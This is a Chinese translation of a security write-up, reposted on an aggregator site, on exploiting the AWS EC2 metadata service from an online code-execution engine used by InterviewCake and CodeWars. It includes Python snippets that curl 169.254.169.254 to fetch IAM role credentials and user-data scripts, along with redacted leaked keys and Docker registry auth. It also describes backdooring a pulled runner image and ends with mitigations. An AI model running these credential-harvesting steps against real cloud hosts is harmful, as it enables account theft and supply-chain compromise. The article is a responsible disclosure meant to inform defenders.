Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】对AWS元数据服务SSRF漏洞的分析

0
0
【技术分享】对AWS元数据服务SSRF漏洞的分析

2017-06-27 10:48:59

阅读:865次
点赞(0)
收藏
来源: blog.christophetd.fr





【技术分享】对AWS元数据服务SSRF漏洞的分析

作者:興趣使然的小胃





【技术分享】对AWS元数据服务SSRF漏洞的分析

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

最近我正在忙一个小项目,研究如何在Docker容器中执行不受信任的python代码。根据项目要求,我需要测试多个在线代码执行引擎,调研它们对各类攻击的反应。在调研过程中,我发现Qualified研发的代码执行引擎中存在几个非常有趣的漏洞,这个引擎使用范围非常广泛,包括CodeWars或者InterviewCake之类的网站都在使用这个引擎。代码运行引擎能够帮助人们以远程网络访问形式运行代码,并且其基础架构运行在Amazon Web服务中,结合这两点事实,我决定写篇文章来介绍我所发现的这些有趣的漏洞。

首先,我们向InterviewCake展示了我们在Qualified代码执行引擎中发现的多个漏洞(InterviewCake正是Qualified的某个客户)。然后,我们讨论了某个具体漏洞:依托AWS运行的某个服务中的SSRF(Server Side Request Forgery,服务端请求伪造)漏洞。我不会在这里过多介绍SSRF漏洞的基础概念及背景知识,因为网上已经有许多公开资料可以参考(查看这里、这里以及这里的资料)。如果用一句话概括,那就是攻击者可以利用SSRF漏洞,使某个应用程序代替攻击者发起网络连接行为。

备注1:对在线代码执行引擎而言,使用SSRF这个术语是否合适仍有争议,因为它本来就支持网络连接。然而,我仍然坚持使用这个术语,因为我所分析的这个漏洞适用于依托AWS运行的、存在SSRF漏洞的任意应用。

备注2:虽然我在本文中讨论的目标是InterviewCake,但他们本身并没有存在任何安全问题,并且我发现的这个漏洞很有可能不会对他们造成任何安全风险。


二、漏洞分析

如果你访问InterviewCake某个随机的提问页面,你可以在页面底部发现一个小区域,在此你能输入并执行代码。

【技术分享】对AWS元数据服务SSRF漏洞的分析

我们可以跟踪Python中用来执行bash命令的代码:

importos os.system("mycommand") 再深入跟踪一会儿,我们可以看到每次代码在执行时,主机名(hostname)都会发生变化,并且init进程会在某些控制组(control group,cgroups)下运行,如下所示:
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 ... 根据这两点信息,我们可以判断,代码很有可能运行在Docker容器中。这个容器看上去能够访问互联网,我们可以使用公开的IfConfig.co服务得到容器的外部地址:
importos os.system("curlifconfig.co") 结果如下:

107.20.17.162

如果我们反查这个地址的DNS,我们可以发现这个IP地址属于AWS EC2:

$nslookup107.20.17.162 Non-authoritativeanswer: 162.17.20.107.in-addr.arpaname=ec2-107-20-17-162.compute-1.amazonaws.com. 熟悉EC2的人都知道,EC2服务与DigitalOcean类似,用户可以使用EC2服务在云端中创建并运行虚拟机。

三、漏洞利用

AWS EC2有个不常用到的功能,即实例元数据服务(Instance Metadata Service)功能(这也是官方文档中的称呼)。任何EC2实例都可以使用这个功能,访问运行在169.254.169.254这个IP地址上的REST API接口,返回关于这个实例的一些数据,某些返回数据中会包含如实例名、实例镜像(AMI)ID以及其他一些敏感信息。

根据前文分析,我们的代码很有可能运行在某个EC2实例上(更具体地说,是运行在EC2实例上的某个Docker容器中),因此代码能够访问这个API。让我们来试一下,通过这个API我们能得到什么信息。

importos defget_endpoint(endpoint): os.system("curlhttp:/169.254.169.254"+endpoint) print() print("[*]AMIid") get_endpoint("/latest/meta-data/ami-id") print("[*]Securitycredentials") get_endpoint("/latest/meta-data/iam/security-credentials/") print("[*]Userscript") get_endpoint("/latest/user-data/") 我们得到的输出结果如下所示:
[*]AMIid ami-246cc332 [*]Securitycredentials ecsInstanceRole [*]Userscript awss3cps3://ecs-conf/ecs.config/etc/ecs/ecs.config awss3cps3://ecs-conf/docker.json/home/ec2-user/.docker/config.json awss3cps3://ecs-conf/cloudwatch.credentials/etc/cloudwatch.credentials ... echo"pullinglatestrunnerimage" dockerpullcodewars/runner-server:latest ... nrsysmond-config--setlicense_key=999b5f6[...]ac 让我们来逐一分析一下这些字段。

3.1 AMI id

这是主机所使用的AMI(Amazon Machine Image)标识符,这个标识符看起来是个私有字段,不能提供更多信息。

3.2 Security credentials

这个字段包含主机所绑定的IAM角色列表。IAM(Identity Access Management)是AWS提供的一项功能,我们可以使用它来管理用户、角色以及权限。在输出结果中,我们看到主机只绑定了一个角色:ecsInstanceRole,因此我们可以使用Metadata API访问与这个服务绑定的凭证。这是一种安全机制,利用这个机制,用户不需要将AWS API密钥硬编码在应用代码中,就可以将角色绑定到主机上。我们可以使用API查询有关的凭证信息:

get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole") 输出结果为:
{ "Code":"Success", "LastUpdated":"2017-03-26T09:59:42Z", "Type":"AWS-HMAC", "AccessKeyId":"ASIAIR[redacted]XQ", "SecretAccessKey":"42oRmJ[redacted]K2IRR", "Token":"FQoDYXdzEOv//////[redacted]", "Expiration":"2017-03-26T16:29:16Z" } 获取这些凭证信息后,合法应用(或攻击者)可以使用AWS API执行ecsInstanceRole角色所允许的任何动作。ECS在这里指的是EC2 Container Service(EC2容器服务),它也是一项AWS服务,允许用户方便快捷地在云端运行Docker容器,也能提供用户正在运行的主机的摘要信息。

显然,现在我们关心的是,通过这些凭证我们能获取哪种程度的访问权限。如果我们深入研究一下AWS的官方文档,很容易就能发现ecsInstanceRole是一个默认的IAM角色,并且绑定了如下策略:

{ "Version":"2012-10-17", "Statement":[ { "Effect":"Allow", "Action":[ "ecs:CreateCluster", "ecs:DeregisterContainerInstance", "ecs:DiscoverPollEndpoint", "ecs:Poll", "ecs:RegisterContainerInstance", "ecs:StartTelemetrySession", "ecs:Submit*", "ecr:GetAuthorizationToken", "ecr:BatchCheckLayerAvailability", "ecr:GetDownloadUrlForLayer", "ecr:BatchGetImage", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource":"*" } ] } 根据这些策略,我们可以做许多好玩的事情,包括创建ECS集群(cluster)、从某个集群中移除EC2实例、往应用日志中写入数据等。

3.3 User script

这个端点返回了用户自定义的一个脚本,每当新的EC2实例第一次运行时,这个脚本就会被运行。这类脚本通常用于对环境进行基本配置,比如安装更新包(package)、运行服务等,某些时候还可以用来存储敏感信息(虽然官方不推荐用户这么做)。

这个脚本中的比较有趣的部分内容如下:

awss3cps3://ecs-conf/ecs.config/etc/ecs/ecs.config ... echo"pullinglatestrunnerimage" dockerpullcodewars/runner-server:latest ... nrsysmond-config--setlicense_key=999b5f6[...redacted...]ac 如上所示,脚本最后一行泄露了NewRelic的证书密钥。

脚本中第一条命令用来从ecs-conf S3存储桶(bucket)上下载一个配置文件。通过AWS命令行工具,我们发现即使我们无法列出存储桶的内容,也能够公开访问ecs.config这个文件。

root@kali:~#awss3cps3://ecs-conf/ecs.configecs.config download:s3://ecs-conf/ecs.configto./ecs.config root@kali:~#catecs.config ECS_ENGINE_AUTH_TYPE=dockercfg ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}} 在这个文件中,auth参数经过base64编码,解码后为“codewarsdeploy:somepassword”(出于隐私保护,我们隐去了密码信息),我们可以利用这个信息登录到Qualified的私密Docker注册表中!

这意味着我们能够获取到Docker镜像codewars/runner-server,查看镜像内容,植入后门(或者恶意软件),并将镜像推回到注册表中。这样一来,每当Qualified的代码执行引擎运行一段代码时,我们的恶意代码就会被运行。换句话说,每当某人往InterviewCake上提交一个解答代码时,这类攻击就会发生。CodeWars也面临这类攻击的挑战。


四、总结

我向Qualified的Jake报告了这个问题,他的回答非常规范,并且漏洞在几天后就被修复了。

如果你正在AWS上运行应用,那么了解并理解Metadata API是一件必不可少的工作,因为你的应用中存在的任何SSRF漏洞都会导致巨大的后果。为了限制漏洞及安全风险,用户最好遵循以下几点原则;

1、不要在配置脚本中存储任何敏感信息(AWS称这种脚本为用户脚本)。

2、如果你的主机需要绑定某个IAM角色,那么请赋予它最少的权限。你可以使用IAM策略模拟器来确保主机具备的权限与你所设想的一致。

3、如果你没有使用Metadata API,那么你应该设置相应的防火墙策略,或者只允许root用户能够访问它(参考相应的iptables示例)。

如果你在HackerOne上查找,你可以发现已经有几个报告提到过类似的漏洞:#53088($300奖励)、#158016 ($50奖励)、#128685、以及#53088 ($1000奖励)。需要注意的是,这个问题并不是AWS所特有的,包括OpenStack以及Google云在内的云服务中也会存在类似问题。然而,Google要求对其元数据服务的所有请求中必须包含一个特定的HTTP头部,这意味着如果攻击者仅能控制请求的URL地址,而没有办法执行头部注入攻击的话,那么他们就无法访问Google的元数据服务。


五、参考资料

你可以参考以下资料了解更多信息。

1、RhinoLabs发表的关于AWS漏洞的一篇文章。

2、介绍EC2中安全风险较高的那些功能的一篇文章。

3、Metasploit的一个模块,可以用来收集被突破主机实例的一些元数据信息。




【技术分享】对AWS元数据服务SSRF漏洞的分析
【技术分享】对AWS元数据服务SSRF漏洞的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images